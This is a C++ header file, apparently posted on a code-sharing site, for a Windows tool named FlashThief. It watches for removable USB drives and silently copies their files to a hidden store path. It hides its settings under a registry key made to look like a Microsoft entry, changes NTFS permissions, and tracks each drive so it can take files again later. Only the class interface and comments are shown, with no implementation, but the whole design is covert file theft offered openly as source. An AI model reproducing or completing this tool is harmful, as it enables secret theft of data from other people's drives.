📄 flashthief.h
字号:
// FlashThief.h: FlashThief 类的接口。
#pragma once
#include <Aclapi.h>
#define STEAL_UNSTART 0
#define STEAL_RUNNING 1
#define STEAL_STOP_PENDING 2
#define STEAL_STOPPED 3
#define STEAL_PAUSE_PENDING 4
#define STEAL_CONTINUE_PENDING 5
#define CFG_REG_SUBKEY _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\FlashWatcher")
#define CFG_REG_STORE _T("StorePath")
#define CFG_REG_SIZES _T("MaxFileSizes")
#define CFG_REG_INTERVAL _T("Interval")
#define CFG_MIN_INTERVAL 3000
#define PROFILE_APPNAME _T("Info")
#define PROFILE_KEY_COMPLETE_TIME _T("CompleteTime")
#define PROFILE_KEY_LASTCHECK_TIME _T("LastCheckTime")
#define PATH_SEPARATOR_S _T("\\")
#define PATH_SEPARATOR_C _T('\\')
class FlashThief
{
public:
// 构造函数
FlashThief();
// 析构函数
virtual ~FlashThief();
// 初始化实例参数
void Init();
// 去掉字符串末尾指定的字符
bool TrimRight(
LPTSTR lpString,
TCHAR ch = PATH_SEPARATOR_C,
size_t* lpSize = NULL);
// 判断文件(夹)是否存在
bool FileExists(
LPCTSTR lpFileName,
bool bCheckDirectory = false);
// 判断文件名称是否为“.”或“..”
bool IsDotsDirectory(LPCTSTR lpFileName);
// 删除文件
DWORD _DeleteFile(LPCTSTR lpFileName);
// 删除空目录
DWORD _RemoveDirectory(LPCTSTR lpPathName);
// 删除文件或目录,包括非空目录
bool RecursiveDelete(
LPCTSTR pszPathName,
size_t uPathSize = 0,
bool bAppendAsterisk = true);
// 设置磁盘文件(夹)的NTFS权限
DWORD AddAceToObjectsSecurityDescriptor(
LPTSTR pszObjName,
SE_OBJECT_TYPE ObjectType,
LPTSTR pszTrustee,
TRUSTEE_FORM TrusteeForm,
DWORD dwAccessRights,
ACCESS_MODE AccessMode,
DWORD dwInheritance);
// 检查并创建指定的目录路径
BOOL CheckCreateDir(
LPCTSTR lpPathName,
bool bCreateParent = true,
LPSECURITY_ATTRIBUTES lpSecurityAttributes = NULL);
// 获取日期时间字符串
void GetDateTimeString(
LPTSTR lpDst,
size_t DstSize,
bool bIncludeTime = false);
// 判断是否为可移动磁盘驱动器
bool IsFlashDisk(LPCTSTR lpRootPathName);
// 复制文件
BOOL _CopyFile(
LPCTSTR lpExistingFileName,
LPCTSTR lpNewFileName);
// 从源路径获取文件到目标路径
void GetFiles(
LPCTSTR lpSrcPathName,
LPCTSTR lpDstPathName,
bool bCheckSteal = true);
// 搜索可用的可移动磁盘驱动器
void StealFiles();
// 读取 Profile 配置
DWORD GetValue(
LPTSTR lpBuffer,
DWORD dwBufferSize,
LPCTSTR lpKeyName,
LPCTSTR lpFilePath);
// 设置 Profile 配置
BOOL SetValue(
LPCTSTR lpKeyName,
LPCTSTR lpValue,
LPCTSTR lpFilePath);
// 获取文件状态
int m_iStatus;
// 搜索可用的可移动磁盘驱动器的时间间隔
DWORD m_dwInterval;
private:
// 获取文件的储存路径
LPTSTR m_lpStorePath;
// 总文件大小限制
DWORD m_dwMaxFileSizes;
// 复制文件事务的回调函数
static DWORD CALLBACK CopyProgress(
LARGE_INTEGER TotalFileSize,
LARGE_INTEGER TotalBytesTransferred,
LARGE_INTEGER StreamSize,
LARGE_INTEGER StreamBytesTransferred,
DWORD dwStreamNumber,
DWORD dwCallbackReason,
HANDLE hSourceFile,
HANDLE hDestinationFile,
LPVOID lpData
);
// 设置当次获取文件的时间信息
void SetStealedInfo(
LPCTSTR lpStorePath,
DWORD dwVolumeSN);
// 检测是否需要重新检查并获取可移动磁盘驱动器的文件
bool NeedfulChecking(
LPCTSTR lpStorePath,
DWORD dwVolumeSN);
};
extern FlashThief _Thief;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -